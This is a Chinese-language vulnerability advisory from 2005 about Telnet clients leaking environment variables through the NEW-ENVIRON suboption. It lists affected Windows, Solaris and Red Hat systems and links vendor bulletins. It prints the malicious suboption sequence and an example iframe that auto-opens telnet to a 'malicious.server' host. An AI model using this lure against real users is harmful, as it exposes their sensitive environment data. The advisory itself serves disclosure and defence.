注册
登录
| 关键词： Enterprise Solaris Sun Windows Linux Microsoft 客户端 TELNET SunOS RedHat |
发布日期：2005-06-15更新日期：2005-06-15受影响系统： Microsoft Windows XP SP2Microsoft Windows XP SP1Microsoft Windows Services for UNIX 3.5Microsoft Windows Services for UNIX 3.0Microsoft Windows Services for UNIX 2.2RedHat Linux Advanced Workstation 2.1Sun Solaris 9.0_x86 Update 2Sun Solaris 9.0_x86Sun Solaris 9.0Sun Solaris 8.0_x86Sun Solaris 8.0Sun Solaris 7.0_x86Sun Solaris 7.0Sun Solaris 2.8Sun Solaris 2.7 sparcSun Solaris 2.7Sun Solaris 10.0Sun SunOS 5.9_x86Sun SunOS 5.9Sun SunOS 5.8_x86Sun SunOS 5.8Sun SunOS 5.7_x86Sun SunOS 5.7RedHat Enterprise Linux WS 4RedHat Enterprise Linux WS 3RedHat Enterprise Linux WS 2.1RedHat Enterprise Linux ES 4RedHat Enterprise Linux ES 3RedHat Enterprise Linux ES 2.1RedHat Enterprise Linux Desktop 4RedHat Enterprise Linux AS 4RedHat Enterprise Linux AS 3RedHat Enterprise Linux AS 2.1RedHat Desktop 3.0Sun SEAM 1.0.2Sun SEAM 1.0.1Sun SEAM 1.0MIT Kerberos 5 1.3.6不受影响系统： Microsoft Windows MEMicrosoft Windows 98seMicrosoft Windows 98Microsoft Windows 2000SP4Microsoft Windows 2000SP3描述： BUGTRAQ ID: 13940CVE(CAN) ID: CAN-2005-1205,CAN-2005-0488TELNET协议允许虚拟网络终端通过Internet进行连接。多家厂商的Telnet客户端存在设计错误，可能允许远程攻击者获得受攻击系统的敏感信息。具体的说，Telnet客户端在处理NEW-ENVIRON子协商选项时会触发这个漏洞，恶意的服务器可以向已连接的客户端发送以下Telnet子协商选项：SB NEW-ENVIRON SEND ENV_USERVAR <name of environment variable> SE然后有漏洞的客户端就会发回环境变量的内容，这其中可能包含有敏感信息。 如果要利用这个漏洞，攻击者必须诱骗用户连接到恶意的服务器。可能通过网页自动启动telnet命令，如：<html><body><iframe src='telnet://malicious.server/'></body>一旦打开了这个网页，就会自动启动telnet客户端并试图连接到主机“malicious.server”。<*来源：Gaël Delalleau （[email protected]） iDEFENSE 链接：http://www.idefense.com/application/poi/display?id=260&type=vulnerabilities http://www.microsoft.com/technet/security/Bulletin/MS05-033.mspx http://www.us-cert.gov/cas/techalerts/TA05-165A.html http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101671-1 http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-101665-1 http://lwn.net/Alerts/139795/?format=printable*> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
